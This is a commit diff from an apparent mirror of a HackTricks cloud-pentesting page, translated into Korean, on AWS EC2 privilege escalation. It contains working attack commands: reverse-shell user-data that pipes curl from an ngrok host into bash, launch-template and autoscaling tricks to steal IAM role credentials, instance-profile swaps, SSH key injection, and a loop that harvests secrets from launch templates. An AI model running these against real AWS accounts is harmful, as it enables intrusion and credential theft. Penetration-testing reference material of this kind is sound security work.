mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -24,13 +24,13 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **사용자 데이터에서 rev shell을 통한 접근**
|
||||
|
||||
**사용자 데이터**(`--user-data`)를 사용하여 새로운 인스턴스를 실행하면 **rev shell**을 받을 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다.
|
||||
**사용자 데이터**(`--user-data`)를 사용하여 **rev shell**을 보내는 새 인스턴스를 실행할 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--iam-instance-profile Name=<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
@@ -40,11 +40,11 @@ GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**잠재적 영향:** 기존 인스턴스 프로파일에 연결된 모든 EC2 역할로 직접적인 권한 상승.
|
||||
**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승.
|
||||
|
||||
#### ECS로의 권한 상승
|
||||
|
||||
이 권한 세트를 사용하면 **EC2 인스턴스를 생성하고 이를 ECS 클러스터에 등록**할 수 있습니다. 이렇게 하면 ECS **서비스**가 **EC2 인스턴스** 내에서 **실행**되고, 그 서비스를 침투하여 (도커 컨테이너) **연결된 ECS 역할을 훔칠** 수 있습니다.
|
||||
이 권한 세트를 사용하면 **EC2 인스턴스를 생성하고 이를 ECS 클러스터에 등록할 수 있습니다**. 이렇게 하면 ECS **서비스**가 **EC2 인스턴스** 내에서 **실행**되고, 그 서비스를 침투하여 (도커 컨테이너) **연결된 ECS 역할을 훔칠 수 있습니다**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,7 +59,7 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
ECS 서비스가 이 새로운 EC2 인스턴스에서 실행되도록 **강제하는 방법**을 배우려면 다음을 확인하세요:
|
||||
ECS 서비스를 이 새로운 EC2 인스턴스에서 **강제로 실행하는 방법**을 배우려면 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
@@ -80,25 +80,25 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
인스턴스 프로파일에 **역할**이 있고 공격자가 **제거할 수 없는 경우**, 다른 우회 방법이 있습니다. 그는 **역할이 없는 인스턴스 프로파일을 찾거나** **새로운 것을 생성할 수 있습니다** (`iam:CreateInstanceProfile`), **역할을 해당 인스턴스 프로파일에 추가**하고 (앞서 논의한 대로) **손상된 인스턴스에 손상된 인스턴스 프로파일을 연결**할 수 있습니다:
|
||||
만약 **인스턴스 프로필에 역할이** 있고 공격자가 **제거할 수 없다면**, 다른 우회 방법이 있다. 그는 **역할이 없는 인스턴스 프로필을 찾거나** **새로운 인스턴스 프로필을 생성할 수 있다** (`iam:CreateInstanceProfile`), **그 역할을 해당 인스턴스 프로필에 추가하고** (앞서 논의한 대로), **손상된 인스턴스에 손상된 인스턴스 프로필을 연결할 수 있다:**
|
||||
|
||||
- 인스턴스에 **인스턴스 프로파일이 없는 경우** (`ec2:AssociateIamInstanceProfile`)
|
||||
- 만약 인스턴스에 **인스턴스 프로필이 없다면** (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로파일 상태를 가져야 합니다).
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
이 권한을 통해 인스턴스에 연결된 인스턴스 프로파일을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로파일을 변경하여 더 많은 인스턴스 프로파일 역할에 대한 자격 증명을 탈취할 수 있습니다.
|
||||
이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
|
||||
|
||||
- **인스턴스 프로파일이 있는 경우**, 인스턴스 프로파일을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다.
|
||||
- 인스턴스 프로필이 **있다면**, 인스턴스 프로필을 **제거**할 수 있습니다 (`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- 또는 **손상된 인스턴스**의 **인스턴스 프로필**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- 또는 손상된 인스턴스의 **인스턴스 프로필**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한이 있는 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 포함한 **Launch Configuration**을 **생성**한 다음, 해당 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
|
||||
**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 포함한 **Launch Configuration**을 **생성**할 수 있으며, 그 구성에서 **autoscaling group**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -200,18 +200,18 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
권한 세트 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
|
||||
권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances`** 권한이 필요합니다 (이는 알려진 권한 상승입니다).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`**를 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근하거나 (인스턴스에 ssh 접근 권한이 있는 경우) 권한을 상승시킬 수 있습니다.
|
||||
**`ec2-instance-connect:SendSSHPublicKey`** 권한을 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근할 수 있습니다 (인스턴스에 ssh 접근 권한이 있는 경우) 또는 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**잠재적 영향:** 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접적인 권한 상승.
|
||||
**잠재적 영향:** 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
@@ -231,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
이 방법은 이를 악용하기 위해 사용자 이름과 비밀번호를 알아야 하므로 권한 상승에 그다지 유용하지 않습니다.
|
||||
|
||||
**잠재적 영향:** (매우 입증할 수 없음) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
|
||||
**잠재적 영향:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
런치 템플릿은 버전 관리가 가능하므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다:
|
||||
런치 템플릿은 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
|
||||
Reference in New Issue
Block a user